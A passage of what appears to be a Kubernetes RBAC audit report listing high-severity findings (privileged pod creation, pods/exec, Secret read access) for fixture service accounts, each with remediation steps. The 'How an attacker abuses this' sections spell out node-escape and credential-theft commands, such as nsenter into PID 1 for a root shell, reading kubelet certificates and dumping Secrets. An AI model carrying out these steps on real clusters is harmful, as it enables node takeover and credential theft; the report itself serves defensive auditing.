Source bindingprivileged-reader
Inspect: kubectl get clusterrolebinding privileged-reader -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "privileged-reader",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "privileged-reader",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Namespace 10.0
Namespace local-path-storage only pod creation can launch a privileged pod and escape to the node (ServiceAccount/local-path-storage/local-path-provisioner-service-account)
Scope · Namespace Namespace local-path-storage only
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: RBACRule/local-path-storage/local-path-provisioner-role

Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account can create pods via RoleBinding local-path-storage/local-path-provisioner-bind → Role local-path-storage/local-path-provisioner-role, and namespace local-path-storage does not enforce a Pod Security Admission level that blocks privileged pods. Namespace local-path-storage only.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage returns no for application identities.
Evidence
ScopeNamespace
Namespacelocal-path-storage
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbsgetlistwatchcreatepatchupdatedelete
create: Create new objects of this resource
patch: Mutate existing objects in place
update: Replace existing objects
delete: Permanently remove objects
Source rolelocal-path-provisioner-role
Inspect: kubectl get role local-path-provisioner-role -n local-path-storage -o yaml
Source bindinglocal-path-provisioner-bind
Inspect: kubectl get rolebinding local-path-provisioner-bind -n local-path-storage -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "local-path-storage",
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "local-path-provisioner-bind",
  "source_binding_kind": "RoleBinding",
  "source_role": "local-path-provisioner-role",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list",
    "watch",
    "create",
    "patch",
    "update",
    "delete"
  ]
}
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 10.0
Namespace privesc-fixtures only pod creation can launch a privileged pod and escape to the node (ServiceAccount/privesc-fixtures/sa-pod-create-escape)
Scope · Namespace Namespace privesc-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape Resource: RBACRule/privesc-fixtures/r-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape can create pods via RoleBinding privesc-fixtures/rb-pod-create-escape → Role privesc-fixtures/r-pod-create-escape, and namespace privesc-fixtures does not enforce a Pod Security Admission level that blocks privileged pods. Namespace privesc-fixtures only.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures returns no for application identities.
Evidence
ScopeNamespace
Namespaceprivesc-fixtures
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roler-pod-create-escape
Inspect: kubectl get role r-pod-create-escape -n privesc-fixtures -o yaml
Source bindingrb-pod-create-escape
Inspect: kubectl get rolebinding rb-pod-create-escape -n privesc-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "privesc-fixtures",
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "rb-pod-create-escape",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-pod-create-escape",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH

Cluster-wide pods/exec access enables token theft from running pods

KUBE-PRIVESC-004 1 subject Score 10.0

Affected subject

HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 10.0
Cluster-wide pods/exec access enables token theft from running pods (ServiceAccount/privesc-fixtures/sa-pod-exec)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec Resource: RBACRule/cr-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec can create/get the pods/exec (or pods/attach) subresource via ClusterRoleBinding crb-pod-exec → ClusterRole cr-pod-exec. Cluster-wide: applies to every current and future namespace.

Exec opens an interactive process inside an already-running container. Unlike pod creation, the attacker does not choose the ServiceAccount: they inherit whatever identity the target pod already runs as. In a shared namespace that frequently includes a pod backed by a high-privilege ServiceAccount (a controller, an operator, a CI runner), so exec becomes a credential-theft primitive: read /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container and replay it.

If the target container is itself privileged, runs as root, or mounts the host, exec is also a direct node-escape path. The permission is doubly dangerous because it leaves a thin audit trail (the exec stream is a single API call) and is commonly granted by edit-style roles that operators assume are harmless.

Impact Run commands inside any running pod in Cluster-wide, inheriting that pod's ServiceAccount token (and host access if the pod is privileged). A common path to a control-plane-adjacent SA token.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod exec → container takeover

The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

  1. Attacker confirms the verb with kubectl auth can-i create pods/exec --as=sa-pod-exec -A.
  2. They enumerate running pods and their ServiceAccounts: kubectl get pods -o custom-columns=NAME:.metadata.name,SA:.spec.serviceAccountName and pick a pod with a privileged SA.
  3. They exec in: kubectl exec -it <pod> -- /bin/sh (or open the raw pods/exec WebSocket directly).
  4. They read the mounted token (cat /var/run/secrets/kubernetes.io/serviceaccount/token) and replay it against the API server as that ServiceAccount.
  5. If the container is privileged or mounts the host, they instead break out to the node and harvest the kubelet credentials.
Remediation
Remove create/get on pods/exec and pods/attach from non-operator identities; gate any legitimate debug access behind a break-glass workflow.
  1. Audit who holds exec rights: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("pods/(exec|attach)"))'. Most application identities should have none.
  2. Remove the verbs. For interactive debugging, prefer kubectl debug gated by a JIT/break-glass role granted only for the duration of an incident.
  3. Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so an exec into a co-tenant pod does not yield a powerful token.
  4. Verify with kubectl auth can-i create pods/exec --as=sa-pod-exec -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods/exec
pods/exec: Remote shell into any pod
Verbscreateget
create: Create new objects of this resource
Source rolecr-pod-exec
Inspect: kubectl get clusterrole cr-pod-exec -o yaml
Source bindingcrb-pod-exec
Inspect: kubectl get clusterrolebinding crb-pod-exec -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "pods/exec"
  ],
  "scope": "cluster",
  "source_binding": "crb-pod-exec",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-pod-exec",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get"
  ]
}
HIGH

Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/vulnerable/privileged-reader

KUBE-PRIVESC-005 3 subjects Score 10.0
MITRE ATT&CK: T1552.007T1528T1078.004

Affected subjects (3)

HIGH ServiceAccount/vulnerable/privileged-reader Cluster 10.0
Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/vulnerable/privileged-reader
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Data Exfiltration Subject: ServiceAccount/vulnerable/privileged-reader Resource: RBACRule/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can list or watch core secrets via ClusterRoleBinding privileged-reader → ClusterRole privileged-reader. Cluster-wide: applies to every current and future namespace.

The Kubernetes documentation is explicit that list and watch return Secret contents in the response body (they are not metadata-only verbs). Unlike get (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single list enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.

Kubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes kube-system ServiceAccount tokens, which are routinely cluster-admin-equivalent.

Impact Cluster-wide enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/vulnerable/privileged-reader (compromised pod, leaked kubeconfig, or stolen token).
  2. They run kubectl get secrets -o yaml in scope and base64-decode every data field, harvesting all Secrets in one request.
  3. They identify Secrets of type kubernetes.io/service-account-token (legacy) or call the TokenRequest API with harvested credentials.
  4. They replay the highest-privileged token against the API server (kubectl --token=<jwt> get clusterrolebindings).
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment.
Remediation
Remove list/watch on secrets from this subject; if a specific Secret is genuinely needed, scope a get by resourceNames to that one name.
  1. Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, drop list and watch entirely and scope a get rule by resourceNames to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.
  3. Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.
  4. Verify with kubectl auth can-i list secrets --as=privileged-reader -A returning no.
  5. For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed EncryptionConfiguration.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbsgetlist
Source roleprivileged-reader
Inspect: kubectl get clusterrole privileged-reader -o yaml
Source bindingprivileged-reader
Inspect: kubectl get clusterrolebinding privileged-reader -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "privileged-reader",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "privileged-reader",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "get",
    "list"
  ]
}
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Namespace 10.0
Namespace lp-fixtures only list/watch access to Secrets enumerates every Secret on ServiceAccount/lp-fixtures/sa-lp-wildcard
Scope · Namespace Namespace lp-fixtures only
Category: Data Exfiltration Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: RBACRule/lp-fixtures/r-lp-wildcard

Subject ServiceAccount/lp-fixtures/sa-lp-wildcard can list or watch core secrets via RoleBinding lp-fixtures/rb-lp-wildcard → Role lp-fixtures/r-lp-wildcard. Namespace lp-fixtures only.

The Kubernetes documentation is explicit that list and watch return Secret contents in the response body (they are not metadata-only verbs). Unlike get (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single list enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.

Kubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes kube-system ServiceAccount tokens, which are routinely cluster-admin-equivalent.

Impact Namespace lp-fixtures only enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/lp-fixtures/sa-lp-wildcard (compromised pod, leaked kubeconfig, or stolen token).
  2. They run kubectl get secrets -o yaml in scope and base64-decode every data field, harvesting all Secrets in one request.
  3. They identify Secrets of type kubernetes.io/service-account-token (legacy) or call the TokenRequest API with harvested credentials.
  4. They replay the highest-privileged token against the API server (kubectl --token=<jwt> get clusterrolebindings).
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment.
Remediation
Remove list/watch on secrets from this subject; if a specific Secret is genuinely needed, scope a get by resourceNames to that one name.
  1. Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, drop list and watch entirely and scope a get rule by resourceNames to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.
  3. Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.
  4. Verify with kubectl auth can-i list secrets --as=sa-lp-wildcard -n lp-fixtures returning no.
  5. For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed EncryptionConfiguration.
Evidence
ScopeNamespace
Namespacelp-fixtures
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source roler-lp-wildcard
Inspect: kubectl get role r-lp-wildcard -n lp-fixtures -o yaml
Source bindingrb-lp-wildcard
Inspect: kubectl get rolebinding rb-lp-wildcard -n lp-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "lp-fixtures",
  "resources": [
    "secrets"
  ],
  "scope": "namespace",
  "source_binding": "rb-lp-wildcard",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-lp-wildcard",
  "source_role_kind": "Role",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/secrets-bundle/cross-ns-reader Namespace 10.0
Namespace secrets-bundle-target only list/watch access to Secrets enumerates every Secret on ServiceAccount/secrets-bundle/cross-ns-reader
Scope · Namespace Namespace secrets-bundle-target only
Category: Data Exfiltration Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: RBACRule/secrets-bundle-target/secrets-reader

Subject ServiceAccount/secrets-bundle/cross-ns-reader can list or watch core secrets via RoleBinding secrets-bundle-target/cross-ns-secrets-read → Role secrets-bundle-target/secrets-reader. Namespace secrets-bundle-target only.

The Kubernetes documentation is explicit that list and watch return Secret contents in the response body (they are not metadata-only verbs). Unlike get (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single list enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.

Kubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes kube-system ServiceAccount tokens, which are routinely cluster-admin-equivalent.

Impact Namespace secrets-bundle-target only enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/secrets-bundle/cross-ns-reader (compromised pod, leaked kubeconfig, or stolen token).
  2. They run kubectl get secrets -o yaml in scope and base64-decode every data field, harvesting all Secrets in one request.
  3. They identify Secrets of type kubernetes.io/service-account-token (legacy) or call the TokenRequest API with harvested credentials.
  4. They replay the highest-privileged token against the API server (kubectl --token=<jwt> get clusterrolebindings).
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment.
Remediation
Remove list/watch on secrets from this subject; if a specific Secret is genuinely needed, scope a get by resourceNames to that one name.
  1. Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, drop list and watch entirely and scope a get rule by resourceNames to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.
  3. Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.
  4. Verify with kubectl auth can-i list secrets --as=cross-ns-reader -n secrets-bundle-target returning no.
  5. For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed EncryptionConfiguration.
Evidence
ScopeNamespace
Namespacesecrets-bundle-target
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbsgetlist
Source rolesecrets-reader
Inspect: kubectl get role secrets-reader -n secrets-bundle-target -o yaml
Source bindingcross-ns-secrets-read
Inspect: kubectl get rolebinding cross-ns-secrets-read -n secrets-bundle-target -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "secrets-bundle-target",
  "resources": [
    "secrets"
  ],
  "scope": "namespace",
  "source_binding": "cross-ns-secrets-read",
  "source_binding_kind": "RoleBinding",
  "source_role": "secrets-reader",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list"
  ]
}
HIGH

Cluster-wide get access to Secrets on ServiceAccount/privesc-fixtures/sa-secret-mint

KUBE-PRIVESC-006 2 subjects Score 10.0
MITRE ATT&CK: T1552.007T1528T1078.004

Affected subjects (2)

HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 10.0
Cluster-wide get access to Secrets on ServiceAccount/privesc-fixtures/sa-secret-mint
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-secret-mint Resource: RBACRule/cr-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint can get core secrets via ClusterRoleBinding crb-secret-mint → ClusterRole cr-secret-mint. Cluster-wide: applies to every current and future namespace.

get returns the full Secret object, including the base64-encoded data payload, for any Secret whose name the caller knows. It is narrower than list/watch (KUBE-PRIVESC-005), which dump every Secret in scope without needing names, but in practice Secret names are highly guessable (<app>-tls, <app>-db, default-token-*, registry pull secrets) and are often discoverable from pod specs, so get alone routinely exposes ServiceAccount tokens, TLS keys, and database credentials.

Cluster-wide get reaches kube-system ServiceAccount token Secrets, which are commonly cluster-admin-equivalent.

Impact Cluster-wide read of any named Secret (ServiceAccount tokens, TLS keys, registry credentials), enabling identity replay once the attacker knows or guesses a Secret name.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/privesc-fixtures/sa-secret-mint and confirms the verb with kubectl auth can-i get secrets --as=sa-secret-mint -A.
  2. They recover Secret names from pod specs they can read, from naming conventions, or from default token patterns.
  3. They kubectl get secret <name> -o yaml and base64-decode the data fields.
  4. They replay the highest-privileged token (e.g. a kube-system controller SA) against the API server.
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity credentials, or persist via a backdoor binding.
Remediation
Scope get on secrets by resourceNames to the exact Secret(s) the workload needs, or remove it entirely if Secrets are consumed via volume/env injection.
  1. Confirm the workload needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, scope the rule by resourceNames to the exact Secret name(s). Never grant get on all secrets.
  3. Move the binding from cluster-wide to namespace-scoped so the blast radius is bounded.
  4. Verify with kubectl auth can-i get secrets --as=sa-secret-mint -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbscreateget
create: Create new objects of this resource
Source rolecr-secret-mint
Inspect: kubectl get clusterrole cr-secret-mint -o yaml
Source bindingcrb-secret-mint
Inspect: kubectl get clusterrolebinding crb-secret-mint -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "crb-secret-mint",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-secret-mint",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get"
  ]
}
HIGH ServiceAccount/privesc-fixtures/sa-secret-read Cluster 10.0
Cluster-wide get access to Secrets on ServiceAccount/privesc-fixtures/sa-secret-read
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-secret-read Resource: RBACRule/cr-secret-read

Subject ServiceAccount/privesc-fixtures/sa-secret-read can get core secrets via ClusterRoleBinding crb-secret-read → ClusterRole cr-secret-read. Cluster-wide: applies to every current and future namespace.

get returns the full Secret object, including the base64-encoded data payload, for any Secret whose name the caller knows. It is narrower than list/watch (KUBE-PRIVESC-005), which dump every Secret in scope without needing names, but in practice Secret names are highly guessable (<app>-tls, <app>-db, default-token-*, registry pull secrets) and are often discoverable from pod specs, so get alone routinely exposes ServiceAccount tokens, TLS keys, and database credentials.

Cluster-wide get reaches kube-system ServiceAccount token Secrets, which are commonly cluster-admin-equivalent.

Impact Cluster-wide read of any named Secret (ServiceAccount tokens, TLS keys, registry credentials), enabling identity replay once the attacker knows or guesses a Secret name.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/privesc-fixtures/sa-secret-read and confirms the verb with kubectl auth can-i get secrets --as=sa-secret-read -A.
  2. They recover Secret names from pod specs they can read, from naming conventions, or from default token patterns.
  3. They kubectl get secret <name> -o yaml and base64-decode the data fields.
  4. They replay the highest-privileged token (e.g. a kube-system controller SA) against the API server.
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity credentials, or persist via a backdoor binding.
Remediation
Scope get on secrets by resourceNames to the exact Secret(s) the workload needs, or remove it entirely if Secrets are consumed via volume/env injection.
  1. Confirm the workload needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, scope the rule by resourceNames to the exact Secret name(s). Never grant get on all secrets.
